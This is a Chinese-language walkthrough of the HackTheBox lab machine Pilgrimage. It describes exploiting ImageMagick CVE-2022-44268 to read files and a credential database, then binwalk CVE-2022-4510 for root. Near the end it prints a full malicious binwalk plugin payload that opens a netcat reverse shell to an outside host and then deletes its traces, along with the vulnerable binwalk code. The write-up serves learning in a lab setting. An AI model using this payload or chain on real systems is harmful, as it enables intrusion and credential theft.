HTB Pilgrimage Walkthrough

前言

前两天HTB开了个新的Box叫Pilgrimage，人比较菜，也是看了大佬的walkthrough才做完的，整个box做下来发现很多时候我的直觉是对的，但是就是不知道该怎么入手，哪些信息可以收集到。总体而言新的靶机还挺有意思的，毕竟这个靶机的主题是很少见的以上传图片为主题的机子（也有可能是我见得少了）。

这个靶机用到了两个漏洞，CVE-2022-44268，和 CVE-2022-4510。

大佬原帖：Pilgrimage Walkthrough

信息搜集

nmap：

开了22口和80口，http nginx 1.18.0 按照HTB的尿性又是个web，先去看看

emmmm，把网址扔进hosts里 

正如前言所说的，这次的目标是一个图片压缩网站，可以把上传的图片进行处理，然后导出一个size更小的图片。除此之外，网站有着简单的login和register的页面，事实证明，这两个页面比酱油还酱油，注册的账号登出后没法用第二次，登陆进去也没有啥特别的。

一般HTB的机子大多会使用模板来建站，因此一开始从SSTI进行尝试会是个不错的方向，但是可惜这次并没有SSTI的机会，我在这个兔子洞里头呆了足足有半天 [捂脸]，考OSCP Pen-200的更是要注意了，别再兔子洞里头呆太久，感觉到了不对劲赶紧出来。

 Wappalyzer上给了个Nginx 1.18.0的信息。Nginx 1.18.0 的确存在一个请求走私的漏洞，但是经过尝试，这个机子把这个漏洞堵上了。

 尝试dirbuster目录爆破，403个线程狠狠地爆破，结果也没找到特别有用的东西。

我的信息搜集到这里结束了，明明找到了git目录，但是没有注意，因此忽略了一个很重要的信息。前面我们提到过nmap找到了git库，而在目录爆破的时候并没有翻到git目录，说明git目录大概率是禁止访问的状态。

 果不其然，git目录存在但是没法访问。这里大佬用的是git-dumper工具，将源码给下下来了。

 现在好了，快康康有什么好康的。

 啊哈，果然好康。现在我们知道了db的位置，还有网站重要服务magick的版本号，可以去看看有没有什么可以利用的点。

大佬找到了上文说到的CVE-2022-44268​​​​​​。 简单说下，这个漏洞会用到图马🐎的操作，就是将图片和恶意程序/脚本粘合在一起，发送给服务端，像magick这种图片压缩的处理可能会直接运行我们的🐎，直接给我们反弹个shell。具体有兴趣的可以自己去GitHub瞅一眼。

获取user flag

按照github上的提示clone他的py，然后运行，上传修改后的图片。

 

(谢谢V哥给对方拜的晚年)

然后咱们成功看到了/etc/passwd，下一步咱们就可以搞点活了。首先把解密方式改为源方式，大概是这个样子。

 然后我们需要再一次的生成一个图片，但是这次我们需要访问的是/var/db/pilgrimage。然后你会获得这么一个鬼东西，把它扔进dump.sql，用sqlite来分析它。

别忘了中间要用xxd从十六进制转一下。

 这样我们就获得了emily的ssh账号和密码，ssh登录进去后，我们就得到了user flag。

Root Flag

首先康康history有没有什么发现

 妹有，再看看ps aux罢。

 麻袋，有发现，有一个root权限执行的sh脚本，看看。

 好家伙，根据名字来看应该是一个类似于查杀软件的脚本，并且会持续性的看这个文件夹里面有没有可执行程序，好家伙原来我之前发的那几个壳全让你吃了。

然后，我可能脑子抽了，在这里试着nano修改这个sh试了半个小时，就类似于这么个逻辑：“

        为了提权我需要修改这个脚本 》》》你没有权限修改这个脚本》》》我要修改这个脚本才有权限啊（摔椅子）》》》你没有权限修改这个脚本（门口 手指.jpg）”

 

后面根据大佬的提示，去看binwalk的版本。

 然后就发现了一个可利用的漏洞，CVE-2022-4510。具体原理哥们还没太研究明白。

简单来说也是类似于整个带马🐎的图片进去，这个马能弹shell回来。

 然后想个办法把这张图放到/var/www/pilgrimage.htb/shrunk 里，按理来说，你可以像之前一样在网站那里上传，(XDM我去试了一下，直接在shrink那个页面扔进去是不行的，具体原因暂不清楚)但是我脑抽了用python3的simple http server上传了。

 然后在SSH那边wget。

最后再用nc监听，就拿到了root。

总结：

这个机子不算难，需要用到的主要就是两个漏洞以及各式自己用着顺手的信息搜集工具。我一开始的想法是通过上传一个带有php shell的图片借此可以直接获得壳，能拿到root最好，拿不到再看，但是我应该是reverse_shell写的有问题加上那时候还不知道主机带一个查杀脚本，所以卡了很久。不过看到最后用的也是图马的方法只能说思路没错，错的是我，太菜了，没有力量。

后面会附上我对这个图马的研究，看看我最初的想法究竟是那一步有问题。

然后谢谢本期特邀嘉宾V哥的大力支持，以及TechyRick大佬的倾力相助。

最后直到我们再次相见。

后记：

2023.06.27更新

首先讲下为什么不能直接在网页的shrink那里上传文件：根据我的测试来看，网站会直接处理图片，然后放进var/www/pilgrimage.htb/shrunk里面，而图片中的代码会直接消失，从而造成漏洞利用失败。以下是漏洞利用代码：（来自CVE-2022-4510）

PFS/0.9../../../.config/binwalk/plugins/binwalk.py4��.
import binwalk.core.plugin
import os
import shutil
class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        if not os.path.exists("/tmp/.binwalk"):
            os.system("nc 10.10.14.21 6969 -e /bin/bash 2>/dev/null &")
            with open("/tmp/.binwalk", "w") as f:
                f.write("1")
        else:
            os.remove("/tmp/.binwalk")
            os.remove(os.path.abspath(__file__))
            shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))

以及出问题的binwalk代码：

  def extractor(self, fname):
         fname = os.path.abspath(fname)
+        out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))
+
         try:
             with PFS(fname) as fs:
                 # The end of PFS meta data is the start of the actual data
-                data = open(fname, 'rb')
+                data = binwalk.core.common.BlockFile(fname, 'rb')
                 data.seek(fs.get_end_of_meta_data())
                 for entry in fs.entries():
-                    self._create_dir_from_fname(entry.fname)
-                    outfile = open(entry.fname, 'wb')
-                    outfile.write(data.read(entry.fsize))
-                    outfile.close()
+                    outfile_path = os.path.join(out_dir, entry.fname)
+                    if not outfile_path.startswith(out_dir): # this branch will never be taken
+                        binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
+                    else:
+                        self._create_dir_from_fname(outfile_path)
+                        outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
+                        outfile.write(data.read(entry.fsize))
+                        outfile.close()
                 data.close()
         except KeyboardInterrupt as e:
             raise e

问题出在这一句上

outfile_path = os.path.join(out_dir, entry.fname)

这行代码的问题在于它并不能完全的解析地址，以下是演示：

>>> os.path.join("/tmp", "../etc/passwd")
'/tmp/../etc/passwd'
>>> os.path.abspath(os.path.join("/tmp", "../etc/passwd"))
'/etc/passwd'

也就说这一行的bug导致了下面的if判断永远不会成立，也就是说这个bug导致了哪怕binwalks检测到了恶意程序（在此指我们的反弹shell），它也会先执行。一定意义上来说它杜绝了我们直接上传图片然后内藏的恶意程序可以直接反弹shell回来。

因此这个靶机不能说直接从图片上传口上传binwalks的图马，主要的问题是代码会丢失。如果只是让图片把代码带过去，然后到目标主机的时候再把脚本脱出来，也不行，因为这样会过不了malwarescan和binwalks的可执行文件扫描。